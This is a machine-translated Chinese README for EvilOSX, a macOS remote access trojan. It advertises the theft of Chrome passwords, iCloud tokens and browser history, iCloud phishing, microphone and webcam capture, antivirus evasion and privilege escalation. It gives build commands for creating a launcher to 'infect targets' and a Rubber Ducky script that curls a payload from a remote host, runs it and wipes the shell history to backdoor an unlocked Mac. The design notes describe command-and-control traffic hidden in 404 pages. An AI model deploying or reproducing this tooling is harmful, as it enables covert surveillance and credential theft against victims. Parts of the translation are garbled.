EvilOSX

邪恶的

MacOS / OS X的邪恶老鼠（远程给药工具）。

---

塞德里克·欧文斯（Cedric Owens）的Marco Generator

这个项目不再活跃

特征

• 模仿终端实例
• 简单的可扩展模块系统
• 没有机器人依赖性（纯Python）
• 未被反病毒（OpenSSL AES-256加密有效载荷）检测到
• 执着的
• GUI和CLI支持
• 检索Chrome密码
• 检索iCloud令牌和联系人
• 检索/监视剪贴板
• 检索浏览器历史记录（Chrome和Safari）
• 通过iTunes提供iCloud密码的网络钓鱼
• iTunes（iOS）备份枚举
• 记录麦克风
• 使用网络摄像头拍摄桌面屏幕截图或图片
• 尝试通过当地特权升级来扎根

如何使用

 # Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)

警告：由于创建有效载荷是针对目标系统独有的（由服务器自动），因此当任何机器人首次连接时，服务器必须运行。

高级用户

对于那些想通过SSH使用它的人也有一个CLI：

 # Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s) 

屏幕截图

动机

该项目是与我的橡皮鸭一起使用的，这是一个简单的脚本：

 REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER

• 大约需要10秒钟才能在任何解锁的Mac上进行后门，这是......很好
• 末端L的拼写是有意的，在某些系统上，否则不会找到终端。
  
• 要绕过键盘设置助手，请确保您更改可以在此处找到的VID＆PID。
  铝制键盘（ISO）可能是您要寻找的铝制键盘。

版本控制

Evilosx将尽可能地根据语义版本指南维护。
服务器和机器人版本将使用以下格式编号：

 <major>.<minor>.<patch>

并根据以下准则构建：

• 向后兼容（带有较旧的机器人）会碰到专业
• 新的增加而不会破坏向后兼容性使未成年人碰到
• 错误修复和杂项更改颠簸补丁

有关SEMVER的更多信息，请访问https://semver.org/。

设计笔记

• 感染机器分为三个部分：
  • 启动器在目标计算机上运行，​​其唯一的目标是运行Stager
  • Stager向服务器询问负载程序，该加载程序处理如何加载有效负载
  • 给装载机提供了一个唯一加密的有效载荷，然后发送回Stager
• 服务器通过发送隐藏在http 404错误页面中的消息来隐藏其通信
  • 命令请求是通过GET请求从服务器检索的
  • 命令响应通过发布请求发送到服务器
• 模块利用Python的动态性质，它们只是通过Zlib压缩的网络发送，以及任何配置选项
• 由于该机器人仅与服务器通信，而从不相反，因此服务器无法知道机器人何时脱机

问题

随时在此处提交任何问题或功能请求。

贡献

有关如何创建模块的简单指南，请单击此处。

学分

• 很棒的帝国项目
• 向帕特里克·沃尔（Patrick Wardle）大喊他的出色演讲，请查看客观观察
• Manwhoami的项目：Osxchromedecrypt，MmeTokendeCrypt，iCloudContacts
  （现在已删除...如果您重新出现，请告诉我）
• Slowloris模块几乎是从pyslowloris复制的
• Urwid和此代码为我节省了很多时间与CLI
• Motusora创建的徽标

执照

GPLV3